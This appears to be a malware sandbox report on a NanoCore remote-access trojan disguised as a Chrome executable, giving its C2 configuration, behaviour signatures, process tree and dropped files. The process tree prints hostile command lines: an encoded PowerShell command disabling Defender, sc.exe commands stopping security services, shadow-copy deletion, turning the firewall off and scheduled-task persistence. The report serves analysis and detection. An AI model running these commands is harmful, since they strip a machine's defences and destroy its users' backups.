Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/10/2026, 20:53

General

  • Target
    cakhiatvvag.com_chrome.exe
  • Size 57KB
  • Sample261023-zphmmsdf37
  • SHA256 e50297bb7f85f280c8e746cd4b1a2519b2683b4876442b54b14ee8b6dc0cf3b8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://cakhiatvvag.com

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://cakhiatvvag.com

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\cakhiatvvag.com_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\cakhiatvvag.com_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2692
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5548
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:5820
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5016
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:2636
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:4324
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:260
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:5928
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:3492
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:6032
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
        PID:4124
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:5644
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:1320
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:4432
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2764
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:3512
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatvvag.com_chrome.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:6108
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatvvag.com_chrome.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3628
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe"
        2⤵
          PID:5244
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:6044
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:3896
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious behavior: EnumeratesProcesses
            PID:4308
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:724
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:4440
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4752
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Discovers running processes
            PID:4216
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2688
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
              PID:4380
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:864
            • C:\Windows\system32\net.exe
              net user
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4720
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user
                4⤵
                  PID:2448
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:3200
              • C:\Windows\system32\ipconfig.exe
                ipconfig /all
                3⤵
                • Gathers network information
                PID:4544
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:4596
              • C:\Windows\system32\NETSTAT.EXE
                netstat -an
                3⤵
                • Gathers network information
                PID:2720
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatvvag.com_chrome.exe" /sc daily /f
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:5872
            • C:\Windows\System32\wscript.exe
              "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
              2⤵
              • Executes a VBScript file via the Windows Script Host.
              PID:3280
            • C:\Windows\System32\vssadmin.exe
              "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
              2⤵
              • Interacts with shadow copies
              PID:728
              • C:\Windows\System32\Conhost.exe
                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                3⤵
                  PID:260
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Reads the TCP/IP host and domain name from the registry
                • Suspicious behavior: EnumeratesProcesses
                PID:1524
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:576
                • C:\Windows\System32\Conhost.exe
                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  3⤵
                    PID:4324
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop srservice
                    3⤵
                      PID:368
                  • C:\Windows\System32\netsh.exe
                    "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                    2⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:1320
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:3512
                    • C:\Windows\System32\Conhost.exe
                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      3⤵
                        PID:5016
                    • C:\Windows\System32\sc.exe
                      "C:\Windows\System32\sc.exe" stop i8042prt
                      2⤵
                      • Launches sc.exe
                      PID:3000
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2840
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
                    1⤵
                      PID:3212
                    • C:\Windows\system32\SystemSettingsAdminFlows.exe
                      "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                      1⤵
                        PID:252
                      • C:\Users\Admin\AppData\Local\Temp\cakhiatvvag.com_chrome.exe
                        C:\Users\Admin\AppData\Local\Temp\cakhiatvvag.com_chrome.exe
                        1⤵
                          PID:4552
                        • C:\Users\Admin\AppData\Local\Temp\cakhiatvvag.com_chrome.exe
                          C:\Users\Admin\AppData\Local\Temp\cakhiatvvag.com_chrome.exe
                          1⤵
                            PID:312

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                scr_20261023_215451.jpg

                                • Path C:\ProgramData\SysUpdate\Scr\scr_20261023_215451.jpg
                                • Size 102KB
                                • SHA256 ebe7ed52e3649314ba43adb18ebfce9d0b318ffedce8e752a4ace7bd0fe6cd4e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                doc_2.pdf

                                • Path C:\SystemVolumeInformation\doc_2.pdf
                                • Size 76KB
                                • SHA256 d449493ae386ddcdbbd064e566ef13ec0bff301f8369b8feaa5888e88d926a9d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                __PSScriptPolicyTest_flkwenl3.v4d.psm1

                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_flkwenl3.v4d.psm1
                                • Size 60B
                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                • MD5 SHA1 SHA512 TLSH

                                createshortcut.vbs

                                • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                                • Size 247B
                                • SHA256 d9e44464288cd26e178285088ecdbeb122e5b35a22a01247c48c1ee08d08f107
                                • MD5 SHA1 SHA512 TLSH

                                del.bat

                                • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                                • Size 59B
                                • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                                • MD5 SHA1 SHA512 TLSH

                                makelnk.vbs

                                • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                                • Size 248B
                                • SHA256 1a419d6a0706de0cb157d620c7ab350bd1ade60924803e21dd3224f20c38e90b
                                • MD5 SHA1 SHA512 TLSH

                                temp_steal.log

                                • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                                • Size 136KB
                                • SHA256 2768721f4b810f59b023d1bd4051d41400f0c6db236a3b00a8e380ba128aa264
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                stolen_data_here.txt

                                • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                                • Size 136KB
                                • SHA256 6f3af56eaff2a48957dee200ce6e6dc7cf2bbad8ce6f7f94d508fb4a985c9fb2
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                invoice_1.pdf

                                • Path C:\Users\Admin\Documents\invoice_1.pdf
                                • Size 76KB
                                • SHA256 e910f6167685c2267cc2e493e4acf3557d7fcecccb5c8bcb59006b411ed86a5f
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                READ_ME_NANOCORE.txt

                                • Path C:\Users\Admin\READ_ME_NANOCORE.txt
                                • Size 145B
                                • SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
                                • MD5 SHA1 SHA512 TLSH

                                RANSOM_NOTE.txt

                                • Path F:\RANSOM_NOTE.txt
                                • Size 177B
                                • SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
                                • MD5 SHA1 SHA512 TLSH

                                memory/252-2268-0x00000176EDC70000-0x00000176EDC83000-memory.dmp

                                memory/2692-2248-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp

                                memory/2692-5-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp

                                memory/2692-1-0x0000000000940000-0x0000000000954000-memory.dmp

                                memory/2692-2-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp

                                memory/2692-3-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp

                                memory/2692-2246-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp

                                memory/2692-4-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp

                                memory/2692-2236-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp

                                memory/2692-6-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp

                                memory/2692-2251-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp

                                memory/2692-2249-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp

                                memory/2692-0-0x00007FFE8D00F000-0x00007FFE8D010000-memory.dmp

                                memory/2692-2247-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp

                                memory/5244-2271-0x000002052E160000-0x000002052E161000-memory.dmp

                                memory/5548-17-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp

                                memory/5548-10-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp

                                memory/5548-2186-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp

                                memory/5548-14-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp

                                memory/5548-15-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp

                                memory/5548-16-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp

                                memory/5548-28-0x00000293CEBB0000-0x00000293CEBBA000-memory.dmp

                                memory/5548-13-0x00000293CE750000-0x00000293CE772000-memory.dmp

                                memory/5548-18-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp

                                memory/5548-27-0x00000293CEAF0000-0x00000293CEBA2000-memory.dmp

                                memory/5548-26-0x00000293CEAD0000-0x00000293CEAEE000-memory.dmp

                                memory/5548-23-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp

                                memory/5548-22-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp

                                memory/5548-21-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp

                                memory/5548-19-0x00007FFE8CE80000-0x00007FFE8D824000-memory.dmp